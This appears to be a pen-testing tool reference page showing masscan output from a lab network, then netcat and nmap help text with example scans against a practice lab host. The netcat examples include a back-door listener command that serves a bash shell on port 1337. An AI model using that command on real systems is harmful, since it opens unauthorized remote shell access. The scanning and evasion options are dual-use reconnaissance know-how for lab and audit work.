<host endtime="1640366314"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="80"><state state="open" reason="response" reason_ttl="128" /><service name="http" banner="HTTP/1.1 403 Forbidden\x0d\x0aServer: Microsoft-IIS/10.0\x0d\x0aDate: Fri, 24 Dec 2021 17:18:05 GMT\x0d\x0aConnection: close\x0d\x0aContent-Length: 0\x0d\x0a\x0d"></service></port></ports></host>
<host endtime="1640366316"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="6001"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366320"><address addr="10.130.10.11" addrtype="ipv4"/><ports><port protocol="tcp" portid="80"><state state="open" reason="response" reason_ttl="64" /><service name="title" banner="Welcome to nginx!"></service></port></ports></host>
<host endtime="1640366320"><address addr="10.130.10.11" addrtype="ipv4"/><ports><port protocol="tcp" portid="80"><state state="open" reason="response" reason_ttl="64" /><service name="http" banner="HTTP/1.1 200 OK\x0d\x0aServer: nginx/1.18.0 (Ubuntu)\x0d\x0aDate: Fri, 24 Dec 2021 17:18:12 GMT\x0d\x0aContent-Type: text/html\x0d\x0aContent-Length: 612\x0d\x0aLast-Modified: Fri, 24 Dec 2021 00:56:15 GMT\x0d\x0aConnection: close\x0d\x0aETag: \x2261c51aaf-264\x22\x0d\x0aAccept-Ranges: bytes\x0d\x0a\x0d"></service></port></ports></host>
<host endtime="1640366601"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="593"><state state="open" reason="response" reason_ttl="128" /><service name="unknown" banner="ncacn_http/1.0"></service></port></ports></host>
<host endtime="1640366601"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="81"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366617"><address addr="10.130.10.4" addrtype="ipv4"/><ports><port protocol="tcp" portid="593"><state state="open" reason="response" reason_ttl="128" /><service name="unknown" banner="ncacn_http/1.0"></service></port></ports></host>
<host endtime="1640366642"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="6630"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366709"><address addr="10.130.10.11" addrtype="ipv4"/><ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="64"/></port></ports></host>
<host endtime="1640366710"><address addr="10.130.10.11" addrtype="ipv4"/><ports><port protocol="tcp" portid="22"><state state="open" reason="response" reason_ttl="64" /><service name="ssh" banner="SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3"></service></port></ports></host>
<host endtime="1640366713"><address addr="10.130.10.22" addrtype="ipv4"/><ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="64"/></port></ports></host>
<host endtime="1640366714"><address addr="10.130.10.22" addrtype="ipv4"/><ports><port protocol="tcp" portid="22"><state state="open" reason="response" reason_ttl="64" /><service name="ssh" banner="SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3"></service></port></ports></host>
<host endtime="1640366726"><address addr="10.130.10.10" addrtype="ipv4"/><ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="64"/></port></ports></host>
<host endtime="1640366726"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="6548"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366727"><address addr="10.130.10.10" addrtype="ipv4"/><ports><port protocol="tcp" portid="22"><state state="open" reason="response" reason_ttl="64" /><service name="ssh" banner="SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3"></service></port></ports></host>
<host endtime="1640366727"><address addr="10.130.10.5" addrtype="ipv4"/><ports><port protocol="tcp" portid="5986"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366735"><address addr="10.130.10.44" addrtype="ipv4"/><ports><port protocol="tcp" portid="5985"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<runstats>
<finished time="1647358016" timestr="2022-03-15 15:26:56" elapsed="0" />
<hosts up="131" down="0" total="131" />
</runstats>
</nmaprun>
masscan –readscan myscan.mass -oG myscan.grep

This will read a binary format scan and save a copy in a grepable format.

# Masscan 1.0.3 scan initiated Fri Dec 24 17:07:14 2021
# Ports scanned: TCP(0;) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.130.10.4 ()    Ports: 3268/open/tcp////
Host: 10.130.10.4 ()    Ports: 49699/open/tcp////
Host: 10.130.10.6 ()    Ports: 5986/open/tcp////
Host: 10.130.10.4 ()    Ports: 49667/open/tcp////
Host: 10.130.10.21 ()   Ports: 445/open/tcp////
Host: 10.130.10.25 ()   Ports: 6402/open/tcp////
Host: 10.130.10.44 ()   Ports: 5986/open/tcp////
Host: 10.130.10.21 ()   Ports: 5986/open/tcp////
Host: 10.130.10.44 ()   Ports: 445/open/tcp////
Host: 10.130.10.6 ()    Ports: 445/open/tcp////
Host: 10.130.10.4 ()    Ports: 5986/open/tcp////
Host: 10.130.10.25 ()   Ports: 477/open/tcp////
Host: 10.130.10.25 ()   Port: 477   Service: ftp    Banner: 220 mail01.hiboxy.com MICROSOFT ESMTP MAIL SERVICE READY AT Fri, 24 Dec 2021 17:09:06 +0000\x0a503 5.5.1 Bad sequence of commands
Host: 10.130.10.25 ()   Ports: 443/open/tcp////
Host: 10.130.10.25 ()   Ports: 6593/open/tcp////
Host: 10.130.10.33 ()   Ports: 5985/open/tcp////
Host: 10.130.10.25 ()   Ports: 475/open/tcp////
Host: 10.130.10.25 ()   Port: 475   Service: ftp    Banner: 220 mail01.hiboxy.com MICROSOFT ESMTP MAIL SERVICE READY AT Fri, 24 Dec 2021 17:17:17 +0000\x0a503 5.5.1 Bad sequence of commands
Host: 10.130.10.25 ()   Port: 25    Service: smtp   Banner: 220 mail01.hiboxy.com Microsoft ESMTP MAIL Service ready at Fri, 24 Dec 2021 17:17:15 +0000\x0a250-mail01.hiboxy.com Hello [10.130.10.99]\x0a250-SIZE 37748736\x0a250-PIPELINING\x0a250-DSN\x0a250-ENHANCEDSTATUSCODES\x0a250-STARTTLS\x0a250-X-ANONYMOUSTLS\x0a250-AUTH NTLM\x0a250-X-EXPS GSSAPI NTLM\x0a250-8BITMIME\x0a250-BINARYMIME\x0a250-CHUNKING\x0a250-SMTPUTF8\x0a250 XRDST\x0a220 2.0.0 SMTP server ready
Host: 10.130.10.25 ()   Ports: 139/open/tcp////
Host: 10.130.10.44 ()   Ports: 139/open/tcp////
Host: 10.130.10.4 ()    Port: 49674 Service: unknown    Banner: ncacn_http/1.0
Host: 10.130.10.25 ()   Ports: 717/open/tcp////
Host: 10.130.10.25 ()   Port: 717   Service: ftp    Banner: 220 mail01.hiboxy.com Microsoft ESMTP MAIL Service ready at Fri, 24 Dec 2021 17:17:36 +0000\x0a503 5.5.2 Send hello first
Host: 10.130.10.25 ()   Ports: 445/open/tcp////
Host: 10.130.10.25 ()   Ports: 2105/open/tcp////
...
Host: 10.130.10.25 ()   Ports: 6768/open/tcp////
Host: 10.130.10.25 ()   Ports: 5985/open/tcp////
Host: 10.130.10.45 ()   Ports: 445/open/tcp////
Host: 10.130.10.22 ()   Port: 80    Service: title  Banner: Welcome to nginx!
Host: 10.130.10.22 ()   Port: 80    Service: http   Banner: HTTP/1.1 200 OK\x0d\x0aServer: nginx/1.18.0 (Ubuntu)\x0d\x0aDate: Fri, 24 Dec 2021 17:18:00 GMT\x0d\x0aContent-Type: text/html\x0d\x0aContent-Length: 612\x0d\x0aLast-Modified: Fri, 24 Dec 2021 00:56:16 GMT\x0d\x0aConnection: close\x0d\x0aETag: \x2261c51ab0-264\x22\x0d\x0aAccept-Ranges: bytes\x0d\x0a\x0d
Host: 10.130.10.25 ()   Port: 80    Service: http   Banner: HTTP/1.1 403 Forbidden\x0d\x0aServer: Microsoft-IIS/10.0\x0d\x0aDate: Fri, 24 Dec 2021 17:18:05 GMT\x0d\x0aConnection: close\x0d\x0aContent-Length: 0\x0d\x0a\x0d
Host: 10.130.10.25 ()   Ports: 6001/open/tcp////
Host: 10.130.10.11 ()   Port: 80    Service: title  Banner: Welcome to nginx!
Host: 10.130.10.11 ()   Port: 80    Service: http   Banner: HTTP/1.1 200 OK\x0d\x0aServer: nginx/1.18.0 (Ubuntu)\x0d\x0aDate: Fri, 24 Dec 2021 17:18:12 GMT\x0d\x0aContent-Type: text/html\x0d\x0aContent-Length: 612\x0d\x0aLast-Modified: Fri, 24 Dec 2021 00:56:15 GMT\x0d\x0aConnection: close\x0d\x0aETag: \x2261c51aaf-264\x22\x0d\x0aAccept-Ranges: bytes\x0d\x0a\x0d
Host: 10.130.10.4 ()    Ports: 53/open/tcp////
Host: 10.130.10.4 ()    Ports: 445/open/tcp////
Host: 10.130.10.21 ()   Ports: 5985/open/tcp////
Host: 10.130.10.25 ()   Ports: 6401/open/tcp////
Host: 10.130.10.25 ()   Ports: 9710/open/tcp////
Host: 10.130.10.25 ()   Port: 6001  Service: unknown    Banner: ncacn_http/1.0
Host: 10.130.10.33 ()   Ports: 445/open/tcp////
Host: 10.130.10.45 ()   Ports: 5985/open/tcp////
Host: 10.130.10.25 ()   Ports: 5986/open/tcp////
Host: 10.130.10.33 ()   Ports: 5986/open/tcp////
Host: 10.130.10.25 ()   Ports: 6565/open/tcp////
Host: 10.130.10.25 ()   Ports: 6674/open/tcp////
Host: 10.130.10.25 ()   Ports: 593/open/tcp////
Host: 10.130.10.4 ()    Ports: 593/open/tcp////
Host: 10.130.10.25 ()   Port: 593   Service: unknown    Banner: ncacn_http/1.0
Host: 10.130.10.25 ()   Ports: 81/open/tcp////
Host: 10.130.10.4 ()    Port: 593   Service: unknown    Banner: ncacn_http/1.0
Host: 10.130.10.25 ()   Ports: 6630/open/tcp////
Host: 10.130.10.11 ()   Ports: 22/open/tcp////
Host: 10.130.10.11 ()   Port: 22    Service: ssh    Banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
Host: 10.130.10.22 ()   Ports: 22/open/tcp////
Host: 10.130.10.22 ()   Port: 22    Service: ssh    Banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
Host: 10.130.10.10 ()   Ports: 22/open/tcp////
Host: 10.130.10.25 ()   Ports: 6548/open/tcp////
Host: 10.130.10.10 ()   Port: 22    Service: ssh    Banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
Host: 10.130.10.5 ()    Ports: 5986/open/tcp////
Host: 10.130.10.44 ()   Ports: 5985/open/tcp////
# Masscan done at Tue Mar 15 15:36:59 2022
masscan –readscan myscan.mass -oJ myscan.json

This will read a binary format scan and save a copy in JSON format.

{   "ip": "10.130.10.4",   "ports": [ {"port": 3268, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.4",   "ports": [ {"port": 49699, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.6",   "ports": [ {"port": 5986, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.4",   "ports": [ {"port": 49667, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.21",   "ports": [ {"port": 445, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 6402, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.44",   "ports": [ {"port": 5986, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.21",   "ports": [ {"port": 5986, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.44",   "ports": [ {"port": 445, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.6",   "ports": [ {"port": 445, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.4",   "ports": [ {"port": 5986, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 477, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 477, "proto": "tcp", "service": {"name": "ftp", "banner": "220 mail01.hiboxy.com MICROSOFT ESMTP MAIL SERVICE READY AT Fri, 24 Dec 2021 17:09:06 +0000\u000a503 5.5.1 Bad sequence of commands"} } ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 443, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 6593, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 6682, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 6812, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 1801, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.33",   "ports": [ {"port": 1433, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 3875, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
...
{   "ip": "10.130.10.25",   "ports": [ {"port": 6768, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 5985, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.45",   "ports": [ {"port": 445, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.22",   "ports": [ {"port": 80, "proto": "tcp", "service": {"name": "title", "banner": "Welcome to nginx!"} } ] },
{   "ip": "10.130.10.22",   "ports": [ {"port": 80, "proto": "tcp", "service": {"name": "http", "banner": "HTTP/1.1 200 OK\u000d\u000aServer: nginx/1.18.0 (Ubuntu)\u000d\u000aDate: Fri, 24 Dec 2021 17:18:00 GMT\u000d\u000aContent-Type: text/html\u000d\u000aContent-Length: 612\u000d\u000aLast-Modified: Fri, 24 Dec 2021 00:56:16 GMT\u000d\u000aConnection: close\u000d\u000aETag: \u002261c51ab0-264\u0022\u000d\u000aAccept-Ranges: bytes\u000d\u000a\u000d"} } ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 80, "proto": "tcp", "service": {"name": "http", "banner": "HTTP/1.1 403 Forbidden\u000d\u000aServer: Microsoft-IIS/10.0\u000d\u000aDate: Fri, 24 Dec 2021 17:18:05 GMT\u000d\u000aConnection: close\u000d\u000aContent-Length: 0\u000d\u000a\u000d"} } ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 6001, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.11",   "ports": [ {"port": 80, "proto": "tcp", "service": {"name": "title", "banner": "Welcome to nginx!"} } ] },
{   "ip": "10.130.10.11",   "ports": [ {"port": 80, "proto": "tcp", "service": {"name": "http", "banner": "HTTP/1.1 200 OK\u000d\u000aServer: nginx/1.18.0 (Ubuntu)\u000d\u000aDate: Fri, 24 Dec 2021 17:18:12 GMT\u000d\u000aContent-Type: text/html\u000d\u000aContent-Length: 612\u000d\u000aLast-Modified: Fri, 24 Dec 2021 00:56:15 GMT\u000d\u000aConnection: close\u000d\u000aETag: \u002261c51aaf-264\u0022\u000d\u000aAccept-Ranges: bytes\u000d\u000a\u000d"} } ] },
{   "ip": "10.130.10.4",   "ports": [ {"port": 53, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.4",   "ports": [ {"port": 445, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.21",   "ports": [ {"port": 5985, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 6401, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 9710, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 6565, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 6674, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 593, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.4",   "ports": [ {"port": 593, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 593, "proto": "tcp", "service": {"name": "unknown", "banner": "ncacn_http/1.0"} } ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 81, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.4",   "ports": [ {"port": 593, "proto": "tcp", "service": {"name": "unknown", "banner": "ncacn_http/1.0"} } ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 6630, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.11",   "ports": [ {"port": 22, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 64} ] },
{   "ip": "10.130.10.11",   "ports": [ {"port": 22, "proto": "tcp", "service": {"name": "ssh", "banner": "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3"} } ] },
{   "ip": "10.130.10.22",   "ports": [ {"port": 22, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 64} ] },
{   "ip": "10.130.10.22",   "ports": [ {"port": 22, "proto": "tcp", "service": {"name": "ssh", "banner": "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3"} } ] },
{   "ip": "10.130.10.10",   "ports": [ {"port": 22, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 64} ] },
{   "ip": "10.130.10.25",   "ports": [ {"port": 6548, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.10",   "ports": [ {"port": 22, "proto": "tcp", "service": {"name": "ssh", "banner": "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3"} } ] },
{   "ip": "10.130.10.5",   "ports": [ {"port": 5986, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{   "ip": "10.130.10.44",   "ports": [ {"port": 5985, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 128} ] },
{finished: 1}

Blog Posts

netcat

Description

The swiss army knife of pen testing.

PlatformAll
Author
LicenseFree
URL

Usage

[v1.10-46]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -C                      Send CRLF as line-ending
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

Examples

nc -nzv -w 3 <ip> <port>

This command scans a port to see if it’s open without establishing a full 3-way handshake. It waits for 3 seconds before disconnecting.

┌──(root💀kali)-[/home/kali/proving_grounds/Bratarina]
└─# nc -zv -w 3 192.168.145.71 443                                    
bratarina [192.168.145.71] 443 (https) : Connection timed out
                                                                                                                                                             
┌──(root💀kali)-[/home/kali/proving_grounds/Bratarina]
└─# nc -zv -w 3 192.168.145.71 25                                                                                                                   
bratarina [192.168.145.71] 25 (smtp) open
nc -nlvp 1337 -e /bin/bash

Starts a back door listener on port 1337 and presents the user with a bash shell when the user connects.

nc -nlvp 1337 < /tmp/file.txt

Sends file.txt over the socket when the user connects. The other side of the connection would look like “nc <ip> 1337 > file.txt”

Blog Posts

nmap

Description

A free and open source utility for network discovery and security auditing.

PlatformAll
Author
LicenseFree
URLnmap.org

Usage

Nmap 7.91 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags <flags>: Customize TCP scan flags
  -sI <zombie host[:probeport]>: Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  --exclude-ports <port ranges>: Exclude the specified ports from scanning
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports consecutively - don't randomize
  --top-ports <number>: Scan <number> most common ports
  --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-args-file=filename: provide NSE script args in a file
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
  --script-help=<Lua scripts>: Show help about scripts.
           <Lua scripts> is a comma-separated list of script-files or
           script-categories.
OS DETECTION:
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
  --min-parallelism/max-parallelism <numprobes>: Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
      probe round trip time.
  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu <val>: fragment packets (optionally w/given MTU)
  -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
  -S <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies
  --data <hex string>: Append a custom payload to sent packets
  --data-string <string>: Append a custom ASCII string to sent packets
  --data-length <num>: Append random data to sent packets
  --ip-options <options>: Send packets with specified ip options
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
  -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.
  -oA <basename>: Output in the three major formats at once
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --reason: Display the reason a port is in a particular state
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
  --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
  --webxml: Reference stylesheet from Nmap.Org for more portable XML
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES

Examples

nmap x.x.x.x

he default nmap scan will check if common ports are open.

└─# nmap 192.168.145.71  
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-11 14:09 EDT
Nmap scan report for bratarina (192.168.145.71)
Host is up (0.038s latency).
Not shown: 995 filtered ports
PORT    STATE  SERVICE
22/tcp  open   ssh
25/tcp  open   smtp
53/tcp  closed domain
80/tcp  open   http
445/tcp open   microsoft-ds
nmap -A x.x.x.x -p 22,25,53,80,445

The -A option enables OS detection, version detection, script scanning, and traceroute output.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-11 14:12 EDT
Nmap scan report for bratarina (192.168.145.71)
Host is up (0.038s latency).
 
PORT    STATE  SERVICE     VERSION
22/tcp  open   ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db:dd:2c:ea:2f:85:c5:89:bc:fc:e9:a3:38:f0:d7:50 (RSA)
|   256 e3:b7:65:c2:a7:8e:45:29:bb:62:ec:30:1a:eb:ed:6d (ECDSA)
|_  256 d5:5b:79:5b:ce:48:d8:57:46:db:59:4f:cd:45:5d:ef (ED25519)
25/tcp  open   smtp        OpenSMTPD
| smtp-commands: bratarina Hello bratarina [192.168.49.145], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP,
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact bugs@openbsd.org 2.0.0 with full details 2.0.0 End of HELP info
53/tcp  closed domain
80/tcp  open   http        nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title:         Page not found - FlaskBB       
445/tcp open   netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: COFFEECORP)
Aggressive OS guesses: Linux 2.6.32 (88%), Linux 2.6.32 or 3.10 (88%), Linux 2.6.39 (88%), Linux 3.10 - 3.12 (88%), Linux 4.4 (88%), WatchGuard Fireware 11.8 (88%), Synology DiskStation Manager 5.1 (87%), Linux 2.6.35 (87%), Linux 4.9 (87%), Linux 3.4 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m35s, median: 0s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: bratarina
|   NetBIOS computer name: BRATARINA\x00
|   Domain name: \x00
|   FQDN: bratarina
|_  System time: 2021-04-11T14:12:39-04:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-04-11T18:12:38
|_  start_date: N/A
 
TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   38.83 ms 192.168.49.1
2   38.83 ms bratarina (192.168.145.71)
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.03 seconds
nmap -sT -p 1-65535 x.x.x.x

This command will do a full TCP connect scan on every port.

sudo nmap -n -sT x.x.x.x/24 -oA /tmp/scan

The -n will not resolve host names, the -sT will do a TCP connect scan on the subnet specified, and the -oA will save normal, grepable, and XML output to /tmp/scan.

